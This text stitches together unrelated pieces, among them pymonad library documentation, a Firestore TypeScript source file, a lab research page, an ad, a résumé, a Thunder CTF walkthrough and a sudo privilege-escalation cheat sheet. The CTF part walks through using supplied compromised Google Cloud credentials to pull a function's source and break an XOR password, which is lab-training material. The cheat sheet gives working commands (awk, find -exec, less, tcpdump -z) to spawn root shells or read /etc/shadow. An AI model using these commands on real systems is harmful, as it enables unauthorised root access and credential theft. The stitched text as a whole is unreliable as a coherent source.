- function: A python function or lambda expression
- which returns either a build-in type (int, string, etc.) or an appropriate monad type (Maybe, Either, etc.)
- Returns:
- A monad value of the same type as ‘self’
-
-
class
pymonad.monad.
MonadAlias
(value, monoid)[source]¶ Bases:
pymonad.monad.Monad
Provides monad method overrides which make it easy to give a monad an alias.
MonadAlias provides monad methods which call their base class but then re-cast the result into the alias class. This gives users a mechanism to give monads more semantically meaningful names without needing to re-implement them.
- Example:
>>> class Option(MonadAlias, Maybe): # MonadAlias must be the first parent class >>> def __repr__(self): >>> return f'Some {self.value}' if self.monoid else 'Nothing'
>>> def Some(value): >>> return Option(value, True)
>>> # Nothing = Nothing, we don't need to change that one.
Functions which have been previously defined to work with the base type, Maybe in this case, work transparently with the aliased type without needing to be re-written.
- Example:
>>> def add_1(x): return Just(x + 1) # Written for the Maybe monad.
>>> opt_val = Option.insert(1).then(add_1) # Result: Some(2)
-
amap
(monad_value)[source]¶ Applies the function stored in the functor to the value inside ‘functor_value’ returning a new functor value.
-
classmethod
insert
(value)[source]¶ Returns an instance of the Functor with ‘value’ in a minimum context.
-
map
(function)[source]¶ Applies ‘function’ to the contents of the functor and returns a new functor value.
-
then
(function)[source]¶ Combines the functionality of bind and fmap.
Instead of worrying about whether to use bind or fmap, users can just use the then method to chain function calls together. The then method uses attempts to use bind first and if that doesn’t work, uses fmap instead.
- Args:
- function: A python function or lambda expression
- which returns either a build-in type (int, string, etc.) or an appropriate monad type (Maybe, Either, etc.)
- Returns:
- A monad value of the same type as ‘self’
pymonad.monoid module¶
Implements the base Monoid type.
A monoid is an algebraic structure consisting of a set of objects, S, such as integers; strings; etc., and an operation usually denoted as ‘+’ which obeys the following rules:
- Closure: If ‘a’ and ‘b’ are in S, then ‘a + b’ is also in S.
- Identity: There exists an element in S (denoted 0) such that
- a + 0 = 0 + a = a
- Associativity: (a + b) + c = a + (b + c)
For monoid types, the ‘+’ operation is implemented by the method ‘mplus’ and the static method ‘mzero’ is defined to return the identity element of the type.
For example, integers can be monoids in two ways:
- mzero = 0 and mplus = addition
- mzero = 1 and mplus = multiplication
String can also form a monoid where mzero is the empty string and mplus is concatenation.
-
class
pymonad.monoid.
Monoid
(value: T)[source]¶ Bases:
typing.Generic
Abstract base class for Monoid instances.
To implement a monoid instance, users should create a sub-class of Monoid and implement the mzero and mplus methods. Additionally, it is the implementers responsibility to ensure that the implementation adheres to the closure, identity and associativity laws for monoids.
-
mplus
(other)[source]¶ The defining operation of the monoid. This method must be overridden in subclasses and should meet the following conditions:
- x + 0 == 0 + x == x
- (x + y) + z == x + (y + z) == x + y + z
Where ‘x’, ‘y’, and ‘z’ are monoid values, ‘0’ is the mzero (the identity value) and ‘+’ is mplus.
-
-
class
pymonad.monoid.
ZERO
[source]¶ Bases:
object
A generic zero/identity element for monoids.
The ZERO class acts as a constant/singleton with monoid addition implemented on the class itself to always return the other element. It is not actually possible to create an instance of ZERO as calling the constructor simply returns the class itself.
- Example:
>>> ZERO == ZERO() # True. >>> ZERO + 10 # 10 >>> 'hello' + ZERO # 'hello'
-
pymonad.monoid.
mconcat
(monoid_list: List[pymonad.monoid.Monoid[T]]) → pymonad.monoid.Monoid[T][source]¶ Takes a list of monoid values and reduces them to a single value by applying the mplus operation to each all elements of the list.
-
pymonad.monoid.
mzero
(monoid_type)[source]¶ Returns the identity value for monoid_type. Raises TypeError if monoid_type is not a valid monoid.
There are a number of builtin types that can operate as monoids and they can be used as such as is. These “natural” monoids are: int, float, str, and list. While thee mzero method will work on monoids derived from the Monoid class, this mzero function will work for all monoid types, including the “natural” monoids. For this reason it is preferable to call this function rather than calling the mzero method directly unless you know for sure what type of monoid you’re dealing with.
pymonad.promise module¶
Implements the Promise monad for ordering concurrent computations.
The Promise monad is based on (and named after) Javascript’s Promise objects and function in a similar way. Promises take asynchronous computations and ensure the ordering of execution. In addition to the standard operations on monads, Promises also provide a ‘catch’ method which allows for recovery from errors.
- Example:
>>> import asyncio >>> from pymonad.promise import Promise >>> from pymonad.tools import curry
>>> @curry(2) >>> def div(y, x): >>> return x / y
>>> async def long_id(x): >>> await asyncio.sleep(1) >>> return await Promise(lambda resolve, reject: resolve(x))
>>> async def main(): >>> x = ( >>> Promise.insert(1) >>> .then(long_id) >>> ) >>> y = ( >>> Promise >>> .insert(2) >>> .then(long_id) >>> .then(div(0) >>> ) # Raises an error... >>> .catch(lambda error: 2)) # ...which is dealth with here. >>> print( >>> await Promise.apply(add) >>> .to_arguments(x, y) >>> .catch(lambda error: 'Recovering...') # This is ignored >>> # because the previous >>> # catch already dealt >>> # with the error. >>> )
>>> asyncio.run(main())
The above example will print the value ‘3’ to the screen. The ‘long_id’ coroutine is a stand-in for any async operation that may take some amount of time. When we await the Promise inside the print() call it waits for both arguments to complete before calling ‘add’ with the results. If the first call to ‘catch’ were removed then the error would propagate and be caught by the second call. The program would then print the string ‘Recovering…’ instead of ‘3’.
You can also create a Promise by passing a function directly. This function takes two callbacks as input to signal a successful computation or a failed one.
- Example:
>>> import asyncio
>>> def main(): >>> print(await Promise(lambda resolve, reject: resolve(2)))
>>> asyncio.run(main())
The ‘resolve’ callback can take a value of any type but the ‘reject’ callback should always take an Exception as its argument.
- Example:
>>> import asyncio
>>> def main(): >>> print(await Promise(lambda resolve, reject: reject(IndexError())))
>>> asyncio.run(main())
When run, this program will crash having raised the IndexError without catching it. Similarly, the catch method takes a function which accepts an Exception as it’s input.
- Example:
>>> import asyncio
>>> def main(): >>> print( >>> await Promise(lambda resolve, reject: reject(IndexError())) >>> .catch(lambda error: print(type(error))) >>> )
>>> asyncio.run(main())
This program prints “<type ‘IndexError’>” as its output.
-
pymonad.promise.
Promise
(function: Callable[[Callable[S, T], Callable[Exception, T]], T]) → pymonad.promise._Promise[T][source]¶ Constructs a Promise object for ordering concurrent computations.
- Arguments:
- function: a function taking two callback typically called
- ‘resolve’ and ‘reject’. When the computation is successful the value should be returned by calling resolve with the result. If there is an error, call ‘reject’ with an instance of the Exception class.
- Returns:
- A new Promise object.
- Example:
>>> Promise(lambda resolve, reject: resolve('any value'))
>>> def some_computation(resolve, reject): >>> if True: >>> return resolve(10) >>> else: >>> reject(TypeError('Fake error.')) # doesn't need to be returned >>> Promise(some_computation)
pymonad.reader module¶
Implements the Reader monad.
The Reader monad creates a context in which functions have access to an additional read-only input.
-
pymonad.reader.
Compose
(function: Callable[R, T]) → pymonad.reader._Reader[R, T][source]¶ Creates an instance of the Compose monad.
Compose is basically an alias for the Reader monad except with the insert and apply methods removed. It’s purpose is simply to provide a semantically meaningful monad instance to be used specifically for the purpose of function composition.
- Example:
def inc(x): return x + 1 def dec(x): return x - 1
- convoluted_inc_twice = (Compose(inc)
- .then(inc) .then(inc) .then(dec))
convoluted_inc_twice(0) # Result: 2
Technically, ‘convoluted_inc_twice’ is an instance of the Reader monad but since Reader defines the __call__ method, we can treat it just like a function for all intents and purposes. The Compose monad composes functions forward. In the example, the three ‘inc’ operations happen first and then the ‘dec’ and not vice-versa.
-
pymonad.reader.
Pipe
(value: T) → pymonad.reader._Pipe[Any, T][source]¶ Creates an instance of the Pipe monad.
Pipe is basically an alias for the Reader monad except with the insert and apply methods removed. It’s purpose is simply to provide a semantically meaningful monad instance to be used specifically for the purpose of chaining function calls by taking the output of one function as the input to the next.
Since Pipe is a subclass of Reader it’s really building a function but, semantically, pipes start with some input and end with a result. For this reason, Pipe adds a ‘flush’ method which calls the composed function with dummy input (which will be ignored) and simply returns the embedded result. Optionally, you can instead use the unary ‘+’ operator instead of ‘flush’ to do the same thing.
- Example:
def inc(x): return x + 1
- pipe_with_flush = (Pipe(0)
- .then(inc) .then(inc) .flush())
- pipe_with_plus = +(Pipe(0)
- .then(inc) .then(inc))
pipe_with_flush == pipe_with_plus # True
pymonad.state module¶
Implements the State monad.
pymonad.tools module¶
The tools module contains useful functions that don’t really belong anywhere else.
-
pymonad.tools.
curry
(*arguments)¶ Creates a curried function from a normal function of callable object.
The curry function is itself curried and can be partially applied. It can be used either as a normal function call or as a decorator. The required number_of_arguments parameter makes it possible to curry functions which take a variable number of arguments like the built-in ‘map’ function.
- Example:
>>> curried_map = curry(2, map)
>>> @curry(2) >>> def some_func(x, y, z): >>> return x + y - z
- Args:
- number_of_arguments: The number of arguments function_to_curry takes as input. If function_to_curry takes a variable number of arguments, then number of curried arguments desired in the result: function_to_curry will be called once this many arguments have been supplied. function_to_curry: The function that we wish to curry
- Returns:
- A new function which may be partially applied simply by passing the desired number of arguments.
-
pymonad.tools.
kleisli_compose
(function_f: Callable[R, pymonad.monad.Monad[S]], function_g: Callable[S, pymonad.monad.Monad[T]]) → Callable[R, pymonad.monad.Monad[T]][source]¶ Composes two Kleisli functions.
Kleisli functions are functions which take as input a ‘bare’ value and return an ‘embellished’ value. For instance, if we have a function f which maps a’s to b’s, it’s type is: f :: a -> b
Then the corresponding Kleisli function, f_kleisli has the type: f_kleisli :: a -> (b, m)
The type (b, m) corresponds to the internal representation of the Monad class, so in terms of pymonad, a Kleisli function is one which maps values of type a to values of some sub-class of Monad.
- Example:
>>> def fail_if_zero(x): >>> return Nothing if x is zero else Just(x)
>>> def add1(x): >>> return Just(x + 1)
>>> new_function = kleisli_compose(add1, fail_if_zero) >>> new_function(0) # returns Just(1) >>> new_function(-1) # returns Nothing
add1 and fail_if_zero are Kleisli functions and new_function is the function which results from first performing add1 followed by fail_if_zero.
- Args:
- function_f: a function with type: a -> (b, m) function_g: a function with type: b -> (c, m)
- Returns:
- A new Kleisli function with type: a -> (c, m)
pymonad.writer module¶
Implements the Writer monad.
The Writer monad is typically used to append information to a log. The log type is often just strings but can be any type that behaves as a monoid with a defined + (__add__) operator.
- Example:
>>> @curry(2) >>> def add(x, y): >>> return Writer(x + y, f"Called function 'add' with arguments {x} and {y}. Result: {x + y}")
>>> @curry(2) >>> def mul(x, y): >>> return Writer(x * y, f"Called function 'mul' with arguments {x} and {y}. Result: {x * y}")
>>> logged_arithmetic = (Writer >>> .insert(0) >>> .then(add(1)) >>> .then(mul(2)))
>>> # logged_arithmetic = (2, "Called function 'add' with arguments 1 and 0. Result: 1 >>> # Called function 'mul' with arguments 2 and 1. Result: 2")
-
class
pymonad.writer.
Writer
(value, monoid)[source]¶ Bases:
pymonad.monad.Monad
The Writer monad class.
Module contents¶
Top-level package for boxx-pymonad.


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| /**
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { SnapshotVersion } from '../core/snapshot_version';
import { Timestamp } from '../core/timestamp';
import { BatchId, ProtoByteString } from '../core/types';
import {
documentKeySet,
DocumentKeySet,
DocumentVersionMap,
documentVersionMap
} from './collections';
import { MaybeDocument } from './document';
import { DocumentKey } from './document_key';
import { Mutation, MutationResult } from './mutation';
import { assert } from '../util/assert';
import * as misc from '../util/misc';
export const BATCHID_UNKNOWN = -1;
/**
* A batch of mutations that will be sent as one unit to the backend.
*/
export class MutationBatch {
constructor(
public batchId: BatchId,
public localWriteTime: Timestamp,
public mutations: Mutation[]
) {}
/**
* Applies all the mutations in this MutationBatch to the specified document
* to create a new remote document
*
* @param docKey The key of the document to apply mutations to.
* @param maybeDoc The document to apply mutations to.
* @param batchResult The result of applying the MutationBatch to the
* backend.
*/
applyToRemoteDocument(
docKey: DocumentKey,
maybeDoc: MaybeDocument | null,
batchResult: MutationBatchResult
): MaybeDocument | null {
if (maybeDoc) {
assert(
maybeDoc.key.isEqual(docKey),
`applyToRemoteDocument: key ${docKey} should match maybeDoc key
${maybeDoc.key}`
);
}
const mutationResults = batchResult.mutationResults;
assert(
mutationResults.length === this.mutations.length,
`Mismatch between mutations length
(${this.mutations.length}) and mutation results length
(${mutationResults.length}).`
);
for (let i = 0; i < this.mutations.length; i++) {
const mutation = this.mutations[i];
Eif (mutation.key.isEqual(docKey)) {
const mutationResult = mutationResults[i];
maybeDoc = mutation.applyToRemoteDocument(maybeDoc, mutationResult);
}
}
return maybeDoc;
}
/**
* Computes the local view of a document given all the mutations in this
* batch.
*
* @param docKey The key of the document to apply mutations to.
* @param maybeDoc The document to apply mutations to.
*/
applyToLocalView(
docKey: DocumentKey,
maybeDoc: MaybeDocument | null
): MaybeDocument | null {
if (maybeDoc) {
assert(
maybeDoc.key.isEqual(docKey),
`applyToLocalDocument: key ${docKey} should match maybeDoc key
${maybeDoc.key}`
);
}
const baseDoc = maybeDoc;
for (let i = 0; i < this.mutations.length; i++) {
const mutation = this.mutations[i];
if (mutation.key.isEqual(docKey)) {
maybeDoc = mutation.applyToLocalView(
maybeDoc,
baseDoc,
this.localWriteTime
);
}
}
return maybeDoc;
}
keys(): DocumentKeySet {
let keySet = documentKeySet();
for (const mutation of this.mutations) {
keySet = keySet.add(mutation.key);
}
return keySet;
}
isEqual(other: MutationBatch): boolean {
return (
this.batchId === other.batchId &&
misc.arrayEquals(this.mutations, other.mutations)
);
}
/**
* Returns true if this mutation batch has already been removed from the
* mutation queue.
*
* Note that not all implementations of the MutationQueue necessarily use
* tombstones as part of their implementation and generally speaking no code
* outside the mutation queues should really care about this.
*/
isTombstone(): boolean {
return this.mutations.length === 0;
}
/** Converts this batch into a tombstone */
toTombstone(): MutationBatch {
return new MutationBatch(this.batchId, this.localWriteTime, []);
}
}
/** The result of applying a mutation batch to the backend. */
export class MutationBatchResult {
private constructor(
readonly batch: MutationBatch,
readonly commitVersion: SnapshotVersion,
readonly mutationResults: MutationResult[],
readonly streamToken: ProtoByteString,
/**
* A pre-computed mapping from each mutated document to the resulting
* version.
*/
readonly docVersions: DocumentVersionMap
) {}
/**
* Creates a new MutationBatchResult for the given batch and results. There
* must be one result for each mutation in the batch. This static factory
* caches a document=>version mapping (docVersions).
*/
static from(
batch: MutationBatch,
commitVersion: SnapshotVersion,
results: MutationResult[],
streamToken: ProtoByteString
) {
assert(
batch.mutations.length === results.length,
'Mutations sent ' +
batch.mutations.length +
' must equal results received ' +
results.length
);
let versionMap = documentVersionMap();
const mutations = batch.mutations;
for (let i = 0; i < mutations.length; i++) {
let version = results[i].version;
if (version === null) {
// deletes don't have a version, so we substitute the commitVersion
// of the entire batch.
version = commitVersion;
}
versionMap = versionMap.insert(mutations[i].key, version);
}
return new MutationBatchResult(
batch,
commitVersion,
results,
streamToken,
versionMap
);
}
}
|


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To win you need to match the number given at the start of the game.
Each crystal has a hidden value that will be added to your score by clicking on it. If your total score surpasses the given number, then you lose the game.
A fair warning... Each time the game restarts, the hidden value of each crystal changes. So don't get too comfortable.
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Overview
Photolithography is a critical step in the manufacture of integrated circuits (ICs). In the process of photolithography, a pattern is transferred from a photomask (reticle) to a chemical photoresist coating a silicon wafer by shining a light source through the pattern. The pattern is later engraved into the resist through chemical etching. This process is repeated to create the circuit layer by layer.
In order to achieve small feature sizes for ICs, it is important to have high precision control of the wafer stage. This research focuses on improving the mechanical performance of the wafer stage through developing innovative control strategies, modeling methods, and metrology solutions.
Experimental Setup
A single-axis wafer scanner setup is available at our lab for experiments. The system consists of a stage and counter mass, both driven by linear permanent magnet motors (LPMM). The stage is mounted on air-bearings, resulting in extremely low friction. The system is equipped with sensors such as encoder, accelerometers, and a laser interferometry system.
The system is controlled by a combination of LabVIEW Real-Time and FPGA. The FPGA interfaces with the stage actuators and measurement systems and provides accurate timing for Real-Time control. The Real-Time system runs the stage control algorithms and data logging operations. The LabVIEW development environment enables users to quickly design, implement and analyze control strategies.
Research Topics
Input Shaping
Small positioning errors, suppression of vibration, and small settling times are some performance requirements for the wafer stage. This research investigates the use of input shaping techniques to reduce residual vibration while preserving fast settling time. Methods such as low-pass filtering, jerk-limited profiles, and input shaping will be applied. Mixed time-frequency constrained optimization techniques will be used to generate trajectories with minimum settling time, and limited frequency bandwidth to prevent residual vibrations.
Force Ripple Compensation
Linear permanent magnet motors have found widespread application in precision positioning. However, the force ripples which are caused by irregular magnetic field and varience of winding self-inductance between the premanent magnets and the translator can cause significant tracking errors. A composite controller is proposed which consists of PID feedback controller and an adaptive feedforward compensator.
Iterative Learning Control
Considering the repetitive nature of scanning, ILC has been used extensively for improving trajectory tracking and repetitive disturbance rejection in wafer scanners. ILC uses information from previous trials of a process to reject periodic disturbances iteratively. We implemented a simple P-type ILC algorithm for wafer stage control. It is especially attractive because of its simple design and implementation.
Automatic Tuning Techniques
Every wafer stage has slightly different plant and disturbance model characteristics, necessitating fine-tuning of controllers for each wafer stage. One of our research aims is to develop techniques to automate the iterative process of controller tuning. Iterative Feedback Tuning (IFT) is being investigated as a method for tuning. The automation of controller tuning will simplify the installation of new machines in the future.
Two-axis Synchronization
In modern wafer scanner setups, both the wafer and reticle are scanned in opposite directions to increase the scanning resolution. The movement of the wafer and reticle stages must be synchronized to avoid alignment errors. Areas of investigation include modeling the cross-coupling between the stages, synchronization, and MIMO control.
Researchers
|
Chen, Xu (graduated) |
|


Demographics
Population
{% include 'profile/_blocks/_stat_list.html' with stat=demographics.total_population stat_type='number' %}
{% include 'profile/_blocks/_stat_list.html' with stat=demographics.urbanised stat_type='percentage' %}
Age
{% include 'profile/_blocks/_stat_list.html' with stat=demographics.median_age stat_type='number' %}


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if you have a small business or need to get some favor items check out ACE Pens. Since 1925, ACE Rosa Pen Corporation has been manufacturing pens, pencils and pen parts for the writing instrument industry. Whether it is NASA, Coca-Cola, Federal Express, a small business owner, or a consumer looking for a unique gift or party favor, ACE Pens is the place to spend your time and money on. Use our discount coupons to get a great deal.
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Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a3password
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a3-access.json
In this level, the secret is hidden somewhere in the cloud infrastructure. Use the given compromised credentials to find it
---Test the permissions of the given credentials using the test-permissions.py script.
---The credentials have the permission cloudfunctions.functions.list
---List the cloud functions in the project:
gcloud functions list---
Get more information about the function:
gcloud functions describe [function]---
Try calling the function:
curl [httpsTrigger]---
The function returned a 403 response, meaning you need to authenticate your request. Google's documentation for cloud function authentication can be found here.
---To authenticate the request, we need to include an "identity" token (different than an "access" token) in the request.
Generate an identity token for the service account:
gcloud auth print-identity-token
Call the function using the token:
curl [httpsTrigger] -H "Authorization: Bearer [identity-token]
Or, do this in one command:
curl [httpsTrigger] -H "Authorization: Bearer $(gcloud auth print-identity-token)"---
The function wants a "password" argument. Include it by adding "?password=[password]" to the end of the url.
---The credentials you are using have the permission cloudfunctions.functions.sourceCodeGet. Use it to figure out what the function is doing.
---Use the Cloud Functions REST API method projects.locations.functions.generateDownloadUrl to download the source code of the function.
---Go to the REST reference here. This documentation describes how to make a request to the API to create a link to download the source code of a cloud function.
In this case, you can use the "Try this API" feature on the right. Fill in the "name" field, formatting it as the documentation specifies. You will also need an access token, which is not the same as the identity token you generated earlier. To generate an access token, run:
gcloud auth print-access-token
In the "Try this API" window, click "show standard parameters," and paste the access token into the field "access token."
Leave the request body empty, and uncheck both "Google Oauth 2.0" and "API key," as we are using the access token for authentication. Click execute, and download the source code by curling or browsing the link given in the response.
---In main.py, we see in line 19 that the function expects XOR_PASSWORD, an environment variable, to be equal to the result of the bitwise xor of the entered password and XOR_FACTOR (password ^ XOR_FACTOR).
---XOR_FACTOR is a constant in the code, and XOR_PASSWORD is an environment variable that can be found by running:
gcloud functions describe [function]
To find the password, compute the result of XOR_PASSWORD ^ XOR_FACTOR. Call the function, passing the correct password to the "password" argument.
---Serverless architectures using things such as Cloud Functions or Lambdas can improve security be removing the ability for an adversary to persist on a machine within the cloud deployment. However, when setting up a function, a developer must specify the cloud resources the function has access to. If a developer misconfigures these permissions, an adversary can use them to compromise an application. In this level, permissions allowing an attacker to view a project's functions allows them to gain access to source code that then allows them to analyze the code directly for vulnerabilities such as an insecure use of cryptography. While it may seem obvious to most people that an XOR-based encryption scheme is easily reversed and broken, the use of XOR to encrypt data is unfortunately being done in practice and sometimes by security companies that would be expected to know better!


Utilities¶
These functions are common utilities used by other modules.
-
generativepoetry.utils.
filter_word
(string, spellcheck=True, exclude_words=[], word_frequency_threshold=4e-08)¶ Filter out a word if it is too short, has invalid characters, is too archaic, or (optionally) cannot be found in a spelling dictionary.
- Parameters
string – the string to check against
spellcheck – Use a spelling dictionary as filter. This helps eliminate abbreviations, proper nouns, and Internet slang–sometimes this is not desirable. It also eliminates many short stopwords like ‘of’ for some reason.
exclude_words – list of words to filter out
word_frequency_threshold – how frequently the word appears in the word_frequency package’s corpus – filter out word if less frequent than this threshold
-
generativepoetry.utils.
filter_word_list
(word_list: List[str], spellcheck: bool = True, exclude_words: List[str] = []) → List[str]¶ Filter a list of words using the filter_word method.
- Parameters
word_list – list of words to filter
:param spellcheck (bool) – Use a spelling dictionary as filter (helps eliminate abbreviations and Internet slang).
-
generativepoetry.utils.
get_random_color
(threshold=0.85)¶ Gets a random color – 2/3 of the rgb values must be below the threshold value
-
generativepoetry.utils.
has_invalid_characters
(string)¶ Check if the string has unpermitted characters: whitespace, digits, and hyphens.
- Parameters
string – the string to check for invalid characters in
-
generativepoetry.utils.
too_similar
(word1: str, comparison_val: str_or_list_of_str) → bool¶ Check whether or not two words are too similar to follow one another in a poem, e.g. if one is the other plus s. :param word1: the first word to compare :param comparison_val: a word or list of words to compare against
-
generativepoetry.utils.
validate_str
(input_val, msg='Not a string')¶ Validate the input argument by checking if it is a string.
- Parameters
input_val – the value to validate
msg – the message to display if a ValueError is thrown
-
generativepoetry.utils.
validate_str_list
(input_val, msg='Not a list')¶ Validate the input parameter by checking if it is a list of strings.
- Parameters
input_val – the value to validate
msg – the message to display if a ValueError is thrown
-
generativepoetry.utils.
validate_str_or_list_of_str
(input_val) → List[str]¶ Validate the input parameter by checking if it is a string or a list of strings.
- Parameters
input_val – the value to validate
-
generativepoetry.utils.
validate_word
(input_val)¶ Check whether the input argument is a word.
- Parameters
input_val – the word to validate


If you have sudo access to certain commands, it can allow you to fully escalate privs
cp
Overwrite /etc/shadow or /etc/sudoers #please make a backup first
awk
awk 'BEGIN {system("/bin/bash")}'
bash
bash -i
find #make sure the file can be found!
find / -name /etc/passwd -exec bash -i \;
find / -name /etc/passwd -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
less
From less, you can go into vi and then into shell
less /etc/shadow
v
:shell
more
run more on a file larger than your screen
!/bin/bash
mv
Overwrite /etc/shadow or /etc/sudoers #please make a backup first
Many more binaries you can exec in (see rbash page)
Programming language? See reverse shells section
sh
tcpdump- echo $'id\ncat /etc/shadow' > /tmp/.test
- chmod +x /tmp/.test
- sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root


--- title: "Projects" layout: default ---
Oct 2015
Present
Junior Cisco Instructor - Teaching CCNA and helping in the organization of different social events at the Cisco Networking Academy within the University “Politehnica” of Bucharest
2014
Present
Network design and implementation – Managing and continuously improving the infrastructure and implementation of a small business demo network. This task has put me in contact with various technologies like site-to-site VPN, firewalls, DDNS, multicast traffic and many others. The purpose of this project is to have a low-maintenance, high-availability and very well documented network.
2014
Quine Mccluskey algorithm - Boolean simplification algorithm, implemented using C++. This is a well-known algorithm used in circuit design.
June 2013
Aug 2013
Microsoft Summer School - Two-month internship at Microsoft Romania. In this project I enhanced my soft skills and developed a C# project for Windows 8, “Pizza-Delivery” which tried the unification of all pizza delivery services in one city.
2013
File Management application - Moves files in specific folders based on their creation date. Implementation made in C++. This application, “Clean-Time” maintained files organized in a certain way.
Jan 2009
April 2009
Poker Application - Implemented using HTML, CSS and JavaScript. This is a single player, online poker game.
Poker app


This library implements various Metric Methods Access...
This version implements the following MAMs:
Additionally, it has the following under development MAMs:
This project was developed by members of GBDI-ICMC-USP
Copyright (c) 2004 Grupo de Bases de Dados e Imagens, Instituto de Ciências Matemáticas e de Computação, University of São Paulo - Brazil (the Databases and Image Group - Intitute of Matematical and Computer Sciences). All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
"This product includes software developed by Grupo de Bases de Dados e Imagens, Instituto de Ciências Matemáticas e de Computação, University of São Paulo - Brazil (the Databases and Image Group - Intitute of Matematical and Computer Sciences)"
Alternately, this acknowledgment may appear in the software itself, if and wherever such third-party acknowledgments normally appear.

Copyright © 2002-2004 GBDI-ICMC-USP